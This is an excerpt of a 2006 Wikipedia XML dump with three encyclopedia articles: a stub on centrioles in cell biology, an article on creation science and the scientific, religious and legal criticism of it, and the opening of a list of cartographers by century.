      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:Centrioles.jpg|thumb|250px]] --&gt;
A '''centriole''' in [[biology]] is a barrel shaped [[microtubule]] structure found in most [[animal]] [[cell (biology)|cells]], and cells of [[fungi]] and [[algae]] though not frequently in [[plant]]s.  The walls of each centriole are usually composed of nine triplet [[microtubule]]s, although ''[[Drosophila]]'' embryos have nine doublets and ''[[Caenorhabditis elegans]]'' sperm cells and early embryos and have nine singlets.  

Two centrioles are arranged perpendicularly and surrounded by further proteins (the pericentriolar material) to form the [[centrosome]].  The centrosome is also known as the [[microtubule organizing center]] (MTOC).  The MTOC plays an important role in microtuble organization in the cell.  All microtubules are anchored at their (-) end while they grow away from the MTOC in the (+) direction.  

Centrioles are important in the [[cell division]] process, organizing the [[mitotic spindle]] upon which the [[chromosomes]] are pulled apart.  Some animal cells are able to divide their [[chromosomes]] without centrioles, for instance in female [[meiosis]]. Centrioles assist the cell through the process of [[mitosis]] and in male [[meiosis]].  During cell division the centrioles are copied, so that there will be a pair for each daughter cell.  In replication, each new set of centrioles is compsed of one original centriole, and a newly made centriole.  If the centrioles are used in forming flagella or cilia, the oldest of the two centrioles becomes the main base for that structure.  This is one reason why each set of newly replicated centrioles receives one centriole from the original cell and a newly formed centriole, so that the cell will know which one to allow to form flagella or cilia.

The proteins which make up the centrioles (the proteome) of the green algae [[Chlamydomonas reinhardtii]] have been determined.  In chlamydomonas centrioles play an important role in the formation and movement of [[flagella]].  The centriole acts as the base of the flagella, from which nine doublets of the flagellar axoneme are templated from the original 9 triplet microtubules of that centriole.


Centrioles are structurally identical to the [[basal body]].

{{organelles}}
[[Category:Organelles]]

{{cellbio-stub}}

[[da:Centriole]]
[[de:Centriol]]
[[es:Centriolo]]
[[eo:Centriolo]]
[[fr:Centriole]]
[[ko:중심소체]]
[[is:Deilikorn]]
[[it:Centriolo]]
[[lt:Centriolė]]
[[mk:Центриола]]
[[nl:Centriool]]
[[pl:Centriola]]
[[pt:Centríolo]]
[[sk:Centriola]]
[[vi:Trung tử]]</text>
    </revision>
  </page>
  <page>
    <title>Creation science</title>
    <id>7683</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41510818</id>
      <timestamp>2006-02-27T21:23:50Z</timestamp>
      <contributor>
        <username>ScienceApologist</username>
        <id>105537</id>
      </contributor>
      <comment>whoops... this is a needed page!</comment>
      <text xml:space="preserve">{{creationism2}}
[[Image:Creation vs evolution debate.jpg|frame|right|''Creation Magazine'' is a publication supporting young-earth creationist beliefs. This issue examines whether [[dinosaur]]s perished in [[Noah's ark|Noah's flood]].]]

'''Creation Science''' is a carefully named [[creationist]] endeavor that holds that the events associated with the [[Bible|biblical]] account of [[creation according to Genesis|creation]] have [[scientific evidence]] and can be modeled through the [[scientific method]].  This view is rejected by [[scientific community|mainstream scientists]] who see it as [[pseudoscience]].  Creation science as an organized movement is concentrated within the [[United States]], primarily among [[Evangelical]] [[Christian]] denominations which hold to [[Biblical inerrancy]].

Advocates of Creation Science dispute the [[scientific theory]] of the [[common descent]] of all life via [[biological evolution]] and argue in favor of [[creation biology]]. They also depart from the [[uniformitarianism|uniformitarian]] model of [[geology]], in favor of [[flood geology]], arguing for the historical accuracy of the [[deluge (mythology)|global flood]] of [[Noah's ark]]. 

Creation science has no published results or field observations in mainstream [[peer review|peer reviewed]] journals such as ''[[Nature (journal)|Nature]]''. Creation science literature generally consists of compiling perceived weaknesses in current models of evolution and geology. The presentation of creationism ''qua'' [[science]] is the chief issue of the [[creation-evolution controversy]] as it does not conform to the [[scientific method]]. Some advocates have spent many years arguing for inclusion of creation science in the science curriculum of [[public education#United States Public School|U.S. public schools]].

== History and organization ==
Creationism, the belief in a created universe, was originally based purely on [[creation theology|theology]].  The vast majority of [[Church Fathers]] and [[Reformers]] accepted Genesis straightforwardly, and even the few who did not, such as [[Origen]] and [[Augustine of Hippo|Augustine]], defended an earth that was on the order of thousands of years old. By the [[1830s]], [[scientific evidence]] contrary to the doctrine of &quot;special creation&quot; had begun to collect. In [[1859]] [[Charles Darwin]] published ''[[On the Origin of Species]]'' and by the [[1900s]] [[natural selection]] and descent with modification was widely accepted as the unifying principle of biological development. Opposition to this [[scientific consensus]] became condified as the [[creationism|creationist]] movement and has had an associated [[history of creationism|history]].

The history of Creation Science begins with certain writers who looked to studying geology within the Biblical timeframe detailed in the [[Ussher-Lightfoot Calendar]]. Such a timeframe directly contradicted that provided by geologists for the [[age of the Earth]]. Some consider the first serious Creation Science writer to be Canadian [[George McCready Price]] who wrote extensively contradicting mainstream geological understandings of timeframes and [[geologic history]].  However, Creation Science (dubbed '''Scientific Creationism''' at the time) only emerged as an organized movement during the [[1960s]] following the publication of ''[[The Genesis Flood]]'' by [[Henry M. Morris]] and John C. Whitcomb.

Subsequently, advocates of Creation Science have expanded their critiques into [[biology]] and [[cosmology]]. However, efforts to have it legislated to be taught in schools in the United States were eventually halted by the Supreme Court's interpretation of the [[First Amendment to the United States Constitution|First amendment]] in [[Edwards v. Aguillard]] 1987 [http://www.robibrad.demon.co.uk/Chapter3.htm].

Following the Edwards v. Aguillard decision, some adherents lent support to the teaching of [[intelligent design]] under its [[Intelligent design movement#Origin of the movement|'big tent' strategy]] [http://www.equip.org/free/DL303.pdf]. The allied ''[[Teach the Controversy]]'' campaign argues that intelligent design is on par with the scientific theory of evolution and therefore that both should be taught in schools as equally worthy of consideration.

Creation Science is distinguished from [[Neo-Creationism]], which is largely associated with the [[intelligent design movement]], in that most advocates of Creation Science accept scripture as a foundation for their claims and seek to validate scripture as historical fact through science as a primary a goal. Neo-Creationism eschews references to scripture altogether from its [[polemics]] and stated goals as a matter of principle (see [[Wedge strategy]]). By so doing, intelligent design proponents hope to succeed where creation science has failed in securing a place in public school science curricula. Carefully avoiding any reference to the identity of the [[intelligent designer]] as God in their arguments, intelligent design proponents believe that their movement will return a version of creationism back to science classrooms without violating the [[First Amendment]].

Today, Creation Science as an organized movement is primarily centered within the [[United States]], although Creation Science organizations are known in other countries. For example, [[Answers in Genesis]] was founded in Australia. Proponents are found primarily among various denominations of [[Christianity]] described as [[evangelicalism|evangelical]], conservative, or [[fundamentalist Christianity|fundamentalist]]. While creationist movements also exist in [[Islam]], and [[Judaism]], these movements do not use the phrase ''creation science'' to describe their beliefs.

== Issues in creation science ==
Creation Science has its roots in the ongoing effort by [[Young Earth creationism|young-earth creationists]] to critique [[science|modern science]]'s description of [[natural history]] (particularly [[biological evolution]], but also [[geology]] and [[physical cosmology]]) while attempting to offer an alternative explanation of observable phenomena&amp;mdash;an explanation they also describe as &quot;science&quot;&amp;mdash;compatible with the Biblical account.

The proponents of Creation Science often argue that many observable phenomena fit more easily into the Biblical account than with the naturalistic worldview [http://www.originsresource.org/creationsci.htm] [http://www.creationism.org/heinze/Universe.htm]. The vast majority of mainstream scientists argue that this premise runs counter to the core principles of coherent [[scientific method]]ology and that literal interpretations of the Bible which demand a global flood, a young Earth, or special creation of [[created kinds]] can be shown incorrect with available [[scientific evidence]] [http://www.nap.edu/html/creationism/introduction.html].

Creation Science has therefore been considered by most who evaluate it [http://www.talkorigins.org/faqs/mclean-v-arkansas.html] to be religious, rather than scientific, because it stems from [[faith]] in the Bible, a religious book rather than by the application of the scientific method. For example, according to the [[United States National Academy of Sciences]] (NAS), &quot;Religious opposition to evolution propels antievolutionism. Although antievolutionists pay lip service to supposed scientific problems with evolution, what motivates them to battle its teaching is apprehension over the implications of evolution for religion.&quot; [http://www.ncseweb.org/resources/articles/4550_antievolutionism_and_creationi_2_13_2001.asp]. Creation science does not necessarily disagree that their oppositional stance is based on religion. [[Duane Gish]], a prominent creation science proponent, has argued that &quot;We cannot discover by scientific investigation anything about the creative processes used by the Creator.&quot; [http://people.hofstra.edu/faculty/robert_l_hall/ISB1F01/ScienceInCreationScience.html].

Creation Science advocates argue that mainstream [[scientific theories]] of the origins of the universe, the earth, and life are rooted in an assumption of [[Methodology|methodological]] [[naturalism (philosophy)|naturalism]] and [[Uniformitarianism (science)|uniformitarianism]], each of which is disputed. However, in other areas of science, for example [[chemistry]], [[meteorology]] or [[medicine]], the assumptions of a naturalistic universe and uniformitarianism are not considered problematic to creation science proponents. As a matter of principle, Creation Science advocates single out the scientific theories that they have determined are most in conflict with their beliefs against which to level their philosophical critiques.

===Religious criticisms of creation science===
[[Fideism|Fideists]] criticize Creation Science on the grounds either that religious faith, alone, should be a sufficient basis for belief, or that efforts to prove the Genesis account of creation on scientific grounds are inherently futile, arguing that faith is a necessary component of divine salvation.

Since much of [[Christian theology]], including [[Liberal Christianity]], considers the [[Creation according to Genesis|Genesis narrative]] to be a [[poetry|poetic]] and [[allegory|allegorical]] work rather than a literal history, many Christian churches &amp;ndash; including the [[Roman Catholic]] [http://www.ncseweb.org/resources/articles/8712_message_from_the_pope_1996_1_3_2001.asp], [[Anglican]] and the more liberal denominations of the [[Lutheran]], [[Methodist]], [[Congregationalist]] and [[Presbyterian]] faiths &amp;ndash; have either rejected creation science outright or are ambivalent to it. Supporters of [[Young Earth creationism]] aruge the [[hermeneutics|hermeneutical point]] that [[Genesis]] has the style of a historical narrative and none of the earmarks of Hebrew poetry [http://www.answersingenesis.org/creation/v16/i1/genesis.asp].

===Scientific criticisms of creation science===
The [[United States National Academy of Sciences]] states that ''&quot;creation science is in fact [[pseudoscience|not science]] and should not be presented as such.&quot;'' [http://www.nap.edu/html/creationism/introduction.html]  and that &quot;the claims of creation science lack empirical support and cannot be meaningfully tested.&quot; [http://www.nap.edu/html/creationism/introduction.html]. According to [[Skeptic Magazine]], the &quot;''creation 'science' movement gains much of its strength through the use of distortion and scientifically unethical tactics''&quot; and &quot;''seriously misrepresents the theory of evolution''&quot;. &lt;!--Joyce Arthur, Published in the Skeptic, magazine of the Skeptic Society, Vol. 4, No. 4, 1996, pp. 88-93--&gt;[http://mypage.direct.ca/w/writer/gish.html].

For a [[theory]] to qualify as [[Scientific method|scientific]] it must be:
* consistent (internally and externally)
* [[Parsimony|parsimonious]] (sparing in proposed entities or explanations)
* useful (describes and explains observed phenomena)
* empirically testable and [[Falsifiability|falsifiable]]
* based upon controlled, repeatable experiments
* correctable and dynamic (changes are made as new data is discovered)
* progressive (achieves all that previous theories have and more)
* tentative (admits that it might not be correct rather than asserting certainty)

For any [[hypothesis]] or [[conjecture]] to be considered scientific, it must meet at least most, but ideally all, of the above criteria. The fewer which are matched, the less scientific it is. If it meets two or less of these criteria, it cannot be treated as scientific in any useful sense of the word.

&lt;blockquote&gt;Scientists have considered the hypotheses proposed by creation science and have rejected them because of a lack of evidence. Furthermore, the claims of creation science do not refer to natural causes and cannot be subject to meaningful tests, so they do not qualify as scientific hypotheses. In 1987 the U.S. Supreme Court ruled that creationism is religion, not science, and cannot be advocated in public school classrooms [http://straylight.law.cornell.edu/supct/html/historics/USSC_CR_0482_0578_ZS.html]. Most major religious groups have concluded that the concept of evolution is not at odds with their descriptions of creation and human origins [http://books.nap.edu/html/creationism/preface.html].&lt;br&gt;
(NAS)&lt;/blockquote&gt;

A summary of the objections to creation science by mainstream scientists:
* ''Creationism is not falsifiable'' : [[Theism]] is not falsifiable, since the existence of God is typically asserted without sufficient conditions to allow a falsifying observation. God being a transcendental being, beyond the realm of the observable, claims about his existence can neither be supported nor undermined by observation, hence making creationism, the argument from design and other arguments for the existence of God ''[[a posteriori]]'' arguments. (See also the section on [[#Creation science and falsifiability|falsifiability]] below.)
* ''Creationism violates the principle of parsimony'' : Creationism fails to pass [[Occam's razor]]. Adding supernatural entities to the equation is not strictly necessary to explain events. 
* ''Creationism is not empirically testable'' : Creationism violates a basic premise of science, [[naturalism (Philosophy)|naturalism]], so is not empirically testable. 
* ''Creationism is not based upon controlled, repeatable experiments'' : That Creationism is not based upon controlled, repeatable experiments stems not from the theory itself, but from the phenomenon that it tries to explain.
* ''Creationism is not correctable, dynamic, tentative or progressive'' : Creationism professes to adhere to an &quot;absolute Truth&quot;, &quot;the word of God&quot;, not a provisional assessment of data which can change when new information is discovered. Once it is claimed that &quot;the Truth&quot; has been established, there is simply no possibility of future correction. The idea of the progressive growth of scientific ideas is required to explain previous data and any previously unexplainable data as well as any future data. It is often given as a justification for the naturalistic basis of science. In any practical sense of the concept, creationism is not progressive: it does not explain or expand upon what went before it and is not consistent with established ancillary theories.

Creationism's lack of adherence to the standards of the [[scientific method]] mean that it (and specifically creation science) cannot be said to be scientific in the way that science is conventionally understood and utilized.

&lt;!--Scientists note that creation science differs from mainstream science in that it begins with an assumption, then attempts to find evidence to support that assumption. [No, science involves this as well.] Conversely, science sets out to learn about the world through the collection of empirical evidence and the use of the scientific method.--&gt;

===Historical, philosophical, and sociological criticism of Creation Science===

Historically, the debate of whether creationism is compatible with science can be traced back to [[1874]], the year science historian [[John William Draper]] published his ''History of the Conflict between Religion and Science''. In it Draper portrayed the entire history of scientific development as a war against religion. This presentation of history was propagated further by followers such as [[Andrew Dickson White]] in his essay ''A History of the Warfare of Science with Theology in Christendom''. Their conclusions, however, have been disputed [http://www.bede.org.uk/university.htm].

Some opponents consider creation science to be an [[ideology|ideologically]] and [[politics|politically]] motivated [[propaganda]] tool, with [[cult]]-like features, to promote the creationist agenda in society.  They allege that the term &quot;creation science&quot; was chosen to purposely blur the distinction between [[science and religion]], particularly in countries which are religiously-neutral by law (such as the United States) in an attempt to gain official government sanction and recognition of their religious tenets above those of other faiths. In the United States, the principal focus of Creation Science advocates is on the government-supported [[Public school|public school system]]s, which are prohibited by the [[U.S. Constitution]] from promoting specific religions.

== Subjects within creation science ==
Subjects within creation science can be into split into three broad categories, each covering a different area of [[origins]] research: [[creationist cosmologies]], [[flood geology]] and [[creation biology]].

===Creation biology===
{{main|Creation biology}}
Creation biology centers around an idea derived from Genesis that states that life was created by God in a finite number of [[created kind]]s rather than through [[biological evolution]]. Creationists who involve themselves in this endeavor believe that observable [[speciation]] took place through inbreeding and harmful mutations during an alleged [[population bottleneck]] after the [[great flood]] of [[Noah's ark]], which they claim was an actual historical event that happened in a manner consistent with its description in the Bible. Mainstream scientists argue that there is no physical evidence for a global flood event that is consistent with the methods and standards of [[scientific evidence]] (see [[Creation science#Flood geology|below]]).

Creation biology disagrees with biological evolution (see [[Creation-evolution controversy]]). Creationists contend that there is no empirical evidence that a [[speciation|new plant or animal species has ever originated]] as a result of the gradual accumulation of [[DNA]] mutations through [[natural selection]]. 

Popular arguments against evolution have changed over the years since the publishing of [[Henry M. Morris]]'s first book on the subject, ''Scientific Creationism'', but some themes remain common: [[missing links]] as an indication that evolution is incomplete; arguments based on [[entropy]], [[complexity]] and [[information theory]]; arguments claiming that natural selection is an impossible mechanism; and general criticism of the conclusions drawn from [[natural history|historical sciences]] as lacking experimental basis. The [[human evolution|origin of the human species]] is particularly hotly contested; the fossil remains of purported [[hominid]] ancestors are not considered by advocates of creation biology to be evidence for a speciation event involving [[Homo sapiens]].

When asked what would disprove evolution in favor of creationism, biologist [[J. B. S. Haldane|J.B.S. Haldane]] replied &quot;fossil rabbits in the Precambrian era&quot;, a period more than 540 million years ago. This is an era during which evolutionists claim that life on Earth consisted largely of bacteria, algae and plankton. [[Richard Dawkins]] explains that evolution &quot;is a theory of gradual, incremental change over millions of years, which starts with something very simple and works up along slow, gradual gradients to greater complexity ... If there were a single hippo or rabbit in the Precambrian, that would completely blow evolution out of the water. None have ever been found.&quot; [http://www.time.com/time/archive/preview/0,10987,1090909,00.html]&lt;!--Time Magazine, [[15 August]] [[2005]], page 32--&gt;.

===Flood geology===
{{main|Flood geology}}
Flood geology is an idea based on the belief that many of Earth's geological formations were created by the global flood described in the story of Noah's ark. [[Fossil]]s and [[fossil fuels]] are believed by its followers to have formed from animal and plant matter which was buried rapidly during this flood, while submarine canyon extensions are explained as having formed during a rapid runoff from the continents after the seafloors dropped. Sedimentary strata are described as sediments predominantly laid down after Noah's flood. 

Mainstream geologists conclude that no such flood is seen in the preserved [[rock layers]] and moreover that the flood itself represents a [[physics|physical impossibility]]. For instance, since [[Mount Everest]] is approximately 5.5 miles in elevation and the Earth's surface is approximately [[Earth#Geography|200 million square miles]] in area, to cover Mount Everest to the depth of 15 [[cubits]] as indicated by [[Genesis]] 7:20 would require 1.1 billion cubic miles of water. The [[Earth's atmosphere]], however, only has the capacity to store water in vapor form sufficient to blanket the globe to a depth of [[Water vapor#Water vapor in Earth's atmosphere|25 millimeters]]. Nevertheless, there continue to be many creationists who argue that the flood can explain the [[fossil record]] and the evidence from geology and [[paleontology]] that are often used to dispute creationists' claims. In addition to the above ideas that are in opposition to the principles of [[geology]], advocates of flood geology reject [[uniformitarianism]] and the findings of [[radiometric dating]]. The [[Creation Research Society]] argues that &quot;uniformitarianism is wishful thinking&quot; [http://www.creationresearch.org/crsq/notes/39/39_1/Note0206.htm].

=== Radiohaloes ===
{{main|Radiohalo}}
In the [[1970s]], young Earth creationist [[Robert V. Gentry]] proposed that radiohaloes in certain granites represented evidence for the Earth being created instantaneously rather than gradually. This idea has been criticized by mainstream physicists and geologists on many grounds including that the rocks Gentry studies are not primordial and that the radionuclides in question need not have been the initial conditions of the rocks.

Thomas A. Baillieul, a geologist and retired senior environmental scientist with the Federal government, disputed Gentry's claims in an article entitled, &quot;&quot;Polonium Haloes&quot; Refuted: A Review of &quot;Radioactive Halos in a Radio-Chronological and Cosmological Perspective&quot;&quot;[http://www.talkorigins.org/faqs/po-halos/gentry.html].  Baillieul noted that Gentry was a physicist with no background in geology and given the absence of this background, Gentry had misrepresented geological evidence.  Additionally, he notes that Gentry relied on research from the beginning of the 20th century, long before radio isotopes were truly understood; that his assumption that a Polonium isotope cause the rings was speculative; and that Gentry falsely argues that the [[half-life]] of radioactive elements varies with time.

===Creationist cosmologies===
{{main|Creationist cosmologies}}
Several attempts have been made by creationists to construct a cosmology consistent with a young universe rather than the standard cosmological [[age of the universe]], based on the belief that Genesis describes the creation of the universe as well as the Earth. The primary challenge for young-universe cosmologies is that the accepted distances in the universe require millions or billions of years for light to travel to Earth.

Cosmology is not as widely discussed as [[creation biology]] or [[flood geology]], for several reasons.  First, many creationists, particularly [[old earth creationists]] and [[intelligent design]] creationists do not dispute that the universe may be billions of years old. Also, some creationists who believe that the Earth was created in the timeframe described in a literal interpretation of Genesis believe that Genesis describes only the creation of the ''Earth'', rather than the creation of the entire universe, allowing for both a young Earth and an old universe. Finally, the technical nature of the discipline of [[physical cosmology]] and its ties to [[mathematical physics]] prevent those without significant technical knowledge from understanding the full details of how the observations and theories behind the current models work.

== See also ==
* [[Creationism]]
* [[Young Earth Creationism]]
* [[Intelligent Design]]
* [[Cargo cult science]]
* [[pseudoscience]]

== References ==
{{mnb|dicdef|1}} [http://www.bartleby.com/61/42/C0734200.html American Heritage Dictionary definition of ''creation science'']&lt;br&gt;
{{mnb|quinn|2}} &quot;The philosopher of science as expert witness&quot;, p. 43, in Cushing, J., Delaney, C.F. &amp; Gutting, G., Science and reality: Recent Work in the Philosophy of Science, University of Notre Dame Press, 1984.&lt;br&gt;
{{mnb|nap|3}} [http://www.nap.edu/books/0309064066/html/2.html ''Science and Creationism: A View from the National Academy of Sciences, Second Edition''], 1999, National Academy of Sciences.&lt;br&gt;
{{mnb|steve|4}} [http://www.ncseweb.org/resources/articles/5945_the_faqs_2_16_2003.asp Project Steve: FAQs] National Center for Science Education, 2003-2005&lt;br&gt;

== Further reading ==
===Creation science===
* Don Batten (ed.), ''The Answers Book'' ISBN 0-949906-23-9 (Brisbane, Australia: Answers in Genesis, 1999)
* Duane T. Gish, ''Creation Scientists Answer Their Critics'' ISBN 0-932766-28-5 (El Cajon, CA: Institute for Creation Research, 1993)
* Henry M. Morris (ed.), ''Scientific Creationism'' ISBN 0-89052-003-2 (Green Forest, AR: Master Books, 1985)
* Henry M. Morris and Gary E. Parker, ''What is Creation Science?'' ISBN 0-89051-081-4 (El Cajon, CA: Institute for Creation Research, 1987)
* Terry Mortenson, ''The Great Turning Point: The Church's Catastrophic Mistake on Geology &amp;#8212; Before Darwin'' ISBN 0-89051-408-9  (Green Forest, AR: Master Books, 2004)
* Fazale Rana and Hugh Ross, ''Origins of Life: Biblical and Evolutionary Models Face Off'', ISBN 1-57683-344-5 (Navpress Publishing Group, 2004)
* Seraphim Rose, ''Genesis, Creation and Early Man'' ISBN: 1887904026 (Saint Herman, 2000)
* Ariel A. Roth, ''Origins &amp;ndash; Linking Science and Scripture'' ISBN 0-8280-1328-4 (Hagarstown, MD: Review and Herald Publishing Association, 1998)    
* [[Jonathan Sarfati]], ''Refuting Evolution'' ISBN 0-890512-58-2 (Green Forest, AR: Master Books, 1999) [http://www.answersingenesis.org/home/area/re1/intro.asp forward and introduction]    
* Jonathan Sarfati, ''Refuting Evolution 2'' ISBN 0-890513-87-2 (Green Forest, AR: Master Books, 2002) [http://www.answersingenesis.org/home/area/RE2/index.asp table of contents with links to chapters]    
* Jonathan Sarfati, ''Refuting Compromise'' ISBN 0-890514-11-9 (Green Forest, AR: Master Books, 2004) [http://www.answersingenesis.org/home/area/rc/intro.asp introductory chapter and some reviews]
* John C. Whitcomb and Henry Morris, ''The Genesis Flood'' ISBN 0-87552-338-2 (Philadelphia: Presbyterian and Reformed Publishing Co., 1964)  
* A. E. Wilder-Smith, ''Man's Origin, Man's Destiny'' ISBN 0-87123-356-8 (Wheaton, IL: Harold Shaw Co., 1968)
* A. E. Wilder-Smith, ''Scientific Alternative to Neo-Darwinian Evolutionary Theory'' ISBN 9-99213-967-6  (Costa Mesa, CA: TWFT Publishers, 1987)
* John Woodmorappe, ''Studies in Flood Geology'' ISBN 0-932766-54-4 (El Cajon, CA: Institute for Creation Research, 1993)
* John Woodmorappe, ''Noah's Ark: A Feasibility Study'' ISBN 0-932766-41-2 (El Cajon, CA: Institute for Creation Research, 1996)
* John Woodmorappe, ''The Mythology of Modern Dating Methods'' ISBN 0-932766-57-9 (El Cajon, CA: Institute for Creation Research, 1999)

===Criticism===
* V. L. Bates, ''Christian Fundamentalism and the Theory of Evolution in Public School Education: A Study of the Creation Science Movement'' (Ph.D. dissertation, University of California, Davis: 1976).
* R. M. Frye, ''Is God a creationist? The religious case against creation-science'' ISBN 0684179938 (New York: Scribner's, 1983)
* P. Kitcher, ''Abusing Science: The Case Against Creationism'' ISBN 026261037X (Boston, MA: The MIT Press, 1983)
* R. Lewin, ''Where is the Science in Creation Science?'' (''Science'' v.215, pp.142&amp;#8211;146.)
* R. Pennock, ''Tower of Babel: The Evidence against the New Creationism'' ISBN 0262661659 (The MIT Press, Reprint edition, [[February 28]] [[2000]])
* B. Vawter, ''Creationism: Creative Misuse of the Bible'', in R. M. Frye (ed.), ''ibid.'' p.71&amp;#8211;82.
* R. L. Numbers, ''The Creationists'' ISBN 0679401040 (New York: A. A. Knopf / Random House, 1992)
* D. B. McKown, ''The mythmaker's magic: Behind the illusion of &quot;creation science&quot;'' ISBN 0879757701 (Buffalo, N.Y.: Prometheus Books, 1993)
* L. Tiffin, ''Creationism's Upside-Down Pyramid: How Science Refutes Fundamentalism'' ISBN 0879758988 (Prometheus Books, [[August 1]] [[1994]])
* M. Zimmerman, M. ''Science, Nonscience and Nonsense'' ISBN 0801857740 (The Johns Hopkins University Press: Reprint edition, [[December 1]] [[1997]])
* ''Synoptic Position Statement of the Georgia Academy of Science with Respect to the Forced Teaching of Creation-­Science in Public School Science Education'', Georgia Academy of Science: [[March 22]] [[2000]] (ISBN B0008JBPNY)

== External links ==
===Neutral===
* [http://straylight.law.cornell.edu/supct/html/historics/USSC_CR_0482_0578_ZS.html Edwards v. Aguillard] 1987 U.S. Supreme Court ruling preventing the teaching of creation science in public school science classrooms
* [http://www.antievolution.org/projects/mclean/new_site/index.htm McLean v. Arkansas] 1981 challenge to Arkansas' Act 590, which mandated that evolutionary biology instruction be balanced with &quot;creation science&quot;.

=== Creation science ===
* [http://www.answersingenesis.org/ Answers in Genesis]
* [http://www.icr.org Institute for Creation Research]
* [http://www.answersincreation.org Answers In Creation]
* [http://www.answersingenesis.org/news/scientific_american.asp 15 ways to refute materialistic bigotry] Answers in Genesis' response to [[Scientific American]]'s article [http://www.sciam.com/article.cfm?articleID=000D4FEC-7D5B-1D07-8E49809EC588EEDF 15 Answers to Creationist Nonsense]
* [http://www.nwcreation.net/wiki/index.php?title=Main_Page CreationWiki]
* [http://www.trueorigin.org/ The True.Origin Archive]
** [http://www.trueorigin.org/camplist.asp List of Articles Supporting Creation]
* [http://www.creationresearch.org/ Creation Research Society]
* [http://www.creationdigest.com/ CreationDigest.com]
* [http://www.creationsafaris.com/crev200510.htm Creation-Evolution Headlines]
* [http://www.uark.edu/~cdm/creation/index.htm Creation Insights]
* [http://www.creationscience.com Center for Scientific Creation]
* [http://www.apologeticspress.org/articles/2575 15 Answers to John Rennie and Scientific American's Nonsense] (ApologeticsPress.org rebuttal)
* [http://emporium.turnpike.net/C/cs/ Creation Science]
* [http://www.reasons.org/ Reasons To Believe]
* [http://www.caseforacreator.com Case for a Creator]
* [http://www.godandscience.org/ God and Science]
* [http://www.drdino.com/ Creation Science Evangelism] Hosts MP3s of Seminars spoken by Kent Hovind.
* [http://www.chabad.org/search/keyword.asp?kid=2451 Historical Proof - A Jewish viewpoint] chabad.org

=== Criticism ===
* [http://home.austarnet.com.au/stear/default.htm No Answers in Genesis website]
* [http://www.creationtheory.org Creationism vs. Science]
* [http://www.talkorigins.org Talk.Origins Archive]
** [http://www.talkorigins.org/indexcc/list.html Index of Creationist claims with rebuttals]
** [http://www.talkorigins.org/faqs/wic.html Talkorigins.org article on What is Creationism?]
* [http://www.nsta.org/positionstatement&amp;psid=10 National Science Teachers Association] Position Statement: The Teaching of Evolution
* [http://www.nabt.org/sub/position_statements/evolution.asp National Association of Biology Teachers] Statement on Teaching Evolution
* [http://www.ncseweb.org/ National Center for Science Education]
* [http://atheism.about.com/religion/atheism/cs/creationism/index.htm About creationism]
* [http://www.infidels.org/library/modern/science/creationism/ creationism]
* [http://www.nap.edu/books/0309064066/html/ Science and Creationism: A View from the National Academy of Sciences] by the Steering Committee on Science and Creationism, National Academy of Sciences
* [http://omnibus.uni-freiburg.de/~riexinge/EvolutionIslam.html Links to Islamic creationist and anti-creationists websites]
* [http://www.skepdic.com/creation.html Skeptics Dictionary] Introduction and criticism of creationism.
* [http://www.scicom.lth.se/fmet/myths.html Origin Myths] Introduction to a number of alternative origin myths from varied cultures around the world
* [http://www.sciam.com/article.cfm?articleID=000D4FEC-7D5B-1D07-8E49809EC588EEDF 15 Answers to Creationist Nonsense] - Scientific American
* [http://emporium.turnpike.net/C/cs/mod.htm Comparison of evolution and creation]
* [http://www.nap.edu/html/creationism/introduction.html Introduction to creationism]
* [http://mypage.direct.ca/w/writer/gish.html Creationism: Bad Science or Immoral Pseudoscience?]


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[[Category:Creation Science]]
[[Category:Pseudoscience]]

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      </contributor>
      <comment>+ john tallis</comment>
      <text xml:space="preserve">[[Cartography]] is the study of map making and '''cartographers''' are map makers.

==Before 1400==
*[[Dicaearchus]] (Greece, circa [[350 BC|350 B.C.]] - circa [[285 BC|285 B.C.]]), philosopher, cartographer, geographer, mathematician, author
*[[Hipparchus (astronomer)|Hipparchus]], (Greece, [[190 BC|190 B.C.]] - [[120 BC|120 B.C.]]), astronomer, cartographer, geographer
*[[Isidore of Seville]] (Spain, [[560]] - [[636]])
*[[Ptolemy]], (Ptolemaic Egypt, Greece, circa [[85]] - circa [[165]]), astronomer, cartographer, geographer'
*[[Al-Idrisi]] ([[Sicily]], [[1100]]-[[1166]]) [[Arab]] cartographer, geographer and traveller.

==15th century==
*[[Martin Behaim]] (Germany, [[1436]] – [[1507]])
*[[Erhard Etzlaub]] ([[1460]] – [[1532]])
*[[Fra Mauro]] (Venice, c.[[1459]])
*[[Sebastian Münster]] (Germany, [[1488]] – [[1552]])
*[[Piri Reis|Piri Reis/Hadji Muhammad]] (Dardanelles, [[1465]] – [[1554]]/[[1555]])
*[[Hartmann Schedel]] (Germany, [[1440]] – [[1514]])
*[[Amerigo Vespucci (explorer)|Amerigo Vespucci]] (Italy, [[1454]] – [[1512]])
*[[Martin Waldseemüller]] (Germany, c.[[1470]] – c.[[1521]]/[[1522]])
*[[Johannes Werner]] (Germany, [[1466]] – [[1528]]) refined and promoted the ''Werner [[map projection]]''

==16th century==
*[[Philipp Apian]] ([[1531-1589]])
*[[Willem Blaeu|Willem Janszoon Blaeu]] (Netherlands, [[1571]] - [[1638]])
*[[Johannes Blaeu]] (Netherlands, [[1596]] - [[1673]])
*[[Gemma Frisius]] (or Reiner Gemma, [[1508]] - [[1555]])
*[[Martin Heilwig]] (Germany, [[1516]] - [[1574]])
*[[Jodocus Hondius]], (Flanders, England, Netherlands, [[1563]] - [[1612]])
*[[Henricus Hondius]] (Netherlands, [[1597]] - [[1651]])
*[[Jan Janssonius]] (Netherlands, [[1588]] - [[1664]])
*[[Gerard de Jode]] (Flanders, [[1509]] - [[1591]])
*[[Gerardus Mercator]] (Flanders, Netherlands, [[1512]] - [[1594]])
*[[A. Matthäus Merian]] (Switzerland, [[1593]] - [[1650]])
*[[Pedro Nunes]], (Portugal, [[1502]] - [[1578]])
*[[Abraham Ortelius]], (Flanders, [[1527]] - [[1598]])
*[[Petrus Plancius]], (Netherlands, ([[1552]] - [[1622]])
*[[John Speed]], (England, [[1542]] - [[1629]])
*[[Christopher Saxton]], (England, born c 1540)

==17th century==
*[[Giambattista Albrizzi|Giambattista (Giovanni Battista) Albrizzi]] (Venice, [[1698]] &amp;ndash; [[1777]]), publisher of illustrated books and maps
*[[Vincenzo Coronelli]] ([[1650]] &amp;ndash; [[1718]])
*[[Guillaume Delisle]] ([[1675]] &amp;ndash; [[1726]]), cartographer
*[[Johann Homann]] (Germany, [[1664]] &amp;ndash; [[1724]]), geographer
